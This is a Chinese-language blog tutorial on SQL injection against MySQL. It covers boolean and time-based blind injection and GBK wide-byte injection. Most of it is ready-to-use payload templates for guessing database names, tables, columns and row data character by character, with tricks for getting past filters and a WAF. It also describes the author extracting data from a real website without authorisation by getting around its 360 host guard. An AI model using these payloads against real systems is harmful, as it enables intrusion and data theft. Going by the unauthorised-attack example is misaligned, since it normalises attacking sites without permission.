zoukankan      html  css  js  c++  java
  • SQL注入漏洞--盲注和宽字节注入

    盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

    1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
    2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

    布尔盲注

    在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

    注意比如 ‘  ” 的注释通常用 --+  或者 --%20 或者#来注释

    注意闭合相关的语句比如 )’  “等

    用limit的原因是由于在页面显示的数据不够所有来限制其输出,然后通过limit中数字的变化来把所有的数据求出来

    注意语法语言的不同会导致注释的不同,所有注释符要注意变通。

    常用函数:

    Length()函数 返回字符串的长度
    Substr()截取字符串
    string 为字符串 string 为字符串 length 为长度
    Ascii()
    作用:返回字符串str的字符ASCII码值。如果str是空字符串,返回0.如果string是 NULL,返回NULL。
    sleep(n):将程序挂起一段时间 n为n秒

    if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
     

    Payload1:

    (select count(schema_name) from information_schema.sc hemata)> n
    n为数据库个数,当数据库个数大于n页面显示正常
     
    (select length(schema_name) from information_schema.s chemata limit 0,1)> n
    该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常
     
    (select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1), 1, 1)))>105
    ascii()将返回字符串的ascii值  
    第一个1,表示截取字符串的起始位置
    第二个1,表示截取字符串长度
    该语句作用:判断第一个库第一个字符是什么
     

    Payload2:

    网上的payload一般是利用ascii()、substr()、length()结合进行利用
     
    获取数据库长度
    and (select length(database()))=长度  #可以通过大于等于等来进行猜测以下同理
    #database 数据库
    逐字猜解数据库名
    and (select ascii(substr(database(),位数,1)))=ascii码  #位数的变化及从1,2,3变化即可通过ascii码以及猜解的数据库长度求出数据库的库名
    猜解表名数量
    and (select count(table_name) from information_schema.tables where table_schema=database())=数量 
    # information_schema.tables 专门用来储存所以表,5.0以上版本才有
    猜解某个表长度
    and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度 #同理n从0来表示变化的表来求该库下的对应的表的长度
    逐位猜解表名
    and (select ascii(substr(table_name,1,1)) from information_schema.tables 
    where table_schema = database() limit n,1)=ascii码 #从前面的1变化是求表名,而n变化是对应的库中的表
    猜解列名数量
    and (select count(*) from information_schema.columns where table_schema =
     database() and table_name = 表名)=数量
    #information_schema.columns 专门用来存储所有的列
    猜解某个列长度
    and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度
    逐位猜解列名
    and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
    判断数据的数量
    and (select count(列名) from 表名)=数量
    猜解某条数据的长度
    and (select length(列名) from 表名 limit n,1)=长度
    逐位猜解数据
    and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii码

    盲注tips#

     
    过滤了substr函数怎么办#
    用如下函数
     
    left(str,index) 从左边第index开始截取  
    right(str,index) 从右边第index开始截取  
    substring(str,index) 从左边index开始截取    
    mid(str,index,ken) 截取str 从index开始,截取len的长度  
    lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果 
     
    过滤了等于号怎么办?#
    1、用in()
    2、用like
     
    过滤了ascii()怎么办?#
    hex() bin() ord()
     
    过滤了字段名怎么办?#
    1、order by 盲注
    条件:有回显,给出字段结构
    order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序,不区分大小写。先看下id为1的查询结果
    执行如下payload
    select * from users where id=1 union select 1,'d',3 order by 2
    发现我们联合查询的数据d排在前面
    再执行如下payload
    select * from users where id=1 union select 1,'z',3 order by 2
     发现联合查询的数据z排在后面了。这是什么意思呢?第一次联合查询的d,排在前面,是因为id为1的数据第一位是d,所以排在前面了。而id为1的数据第一位不是z,所以z就排在后面了,我们可以利用这个特性来进行布尔盲注,只要猜0-9,a-z,逐字猜解就好
     
    2、子查询
     
    这个东西没啥好解释的,直接看payload吧
    select * from users where id=-1 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)x
     
    实例演示#
    一个卖吃鸡外挂的网站 ,创建订单那存在SQL注入,利用上面常规payload获取到数据库名了,数据库名为chiji,进行到获取表数量就开始拦截了。  发现是360主机卫士拦截了,本来想按照bypass老哥发的文章进行绕过的,发现各种方法都不行,可能是站长修改了规则。自己测试,发现select 1不拦截。select 1 from不拦截。select 1 from 1拦截。所以我们要破坏select from的结构才能进行绕过。后来询问@撕夜师傅发现去掉from前面的空格即可绕过。后面的步骤参考上面的payload即可
     
     

    时间盲注

    时间盲注利用前提条件:

    页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。
    布尔盲注是根据页面正常否进行注入,而时间盲注则是通过SQL语句查询的时间来进行注入,一般是在页面无回显,无报错的情况下使用。
    可以通过F12来看其页面回显的时间与布尔盲注是一样的
     

    时间盲注常用函数:

    IF(判断语句,A,B)
    如果判断语句为真,则返回A
    为假则返回B
    一般和布尔盲注语句配合使用:
    if(ascii(substr(“payload”, 1, 1))=104, sleep(5), 1)
    如果第一个,号前的语句成立,则页面返回速度慢5秒
    不成立,页面立即返回
     

    时间盲注过程:

    if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数
    if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
    if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符

    payload:

    猜解数据库长度
    and if((select length(database()))=长度,sleep(6),0)
    猜解数据库名
    and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)
    判断表名的数量
    and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)
    判断某个表名的长度
    and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)
    逐位猜表名
    and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)
    判断列名数量
    and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)
    判断某个列名的长度
    and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)
    逐位猜列名
    and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)
    判断数据的数量
    and if((select count(列名) from 表名)=个数,sleep(6),0)
    判断某个数据的长度
    and if((select length(列名) from 表名)=长度,sleep(6),0)
    逐位猜数据
    and if((select ascii(substr(列名,n,1)) from 表名)=ascii码,sleep(6),0)
    

    时间盲注小tips 如果过滤了sleep,还可以用benchmark(),这个函数第一个值填要执行的次数,第二个填写要执行的表达式
    select * from users where id=1 and if(ascii(substring((database()),1,1))>1,(select benchmark(10000000,md5(0x41))),1)

    宽字节注入

     
    宽子节注入只有在,服务器页面代码中使用了gbk编码等汉字编码方式时才有效。
    通常,当页面源代码中使用了 addslashes( )函数对用户输入的参数进行过滤,并且使用的是字符串查询的方式时。那么前面我们介绍的几种SQL注入方式就都不能用了
    这种情况下如果页面使用的不是utf-8之类的编码方式,而用的是汉字编码方式gbk等,我们就可以使用宽子节注入。
    addslashes() 函数
    函数返回在预定义字符之前添加反斜杠的字符串
    预定义字符: 
    单引号(') 
    双引号(") 
    反斜杠() 
    NULL
     
     
    宽字节注入原理
    mysql_query(“SET NAMES ‘gbk’”,$conn)语句将数据库编码字符集修改为 GBK格式。此时,%df‘对应的编码就是 %df%5c’,即汉字“ 運‘ ”,这样 单引号之前的转义符号“”就被吃掉了,单引号就逃逸出来,从而转义失败
     
    通常我们在做测试时,只要加上在预定义字符前%df 就可以了

     

  • 相关阅读:
    二极管常用
    金属化孔与非金属化孔
    电容~3.钽电容
    电感~2.电路分析
    交流整流之后
    电容~2.电路分许
    三极管~3常见电路
    三极管~2.电路分析
    名词解释
    硬件设计
  • 原文地址:https://www.cnblogs.com/ly584521/p/14024835.html
Copyright © 2011-2022 走看看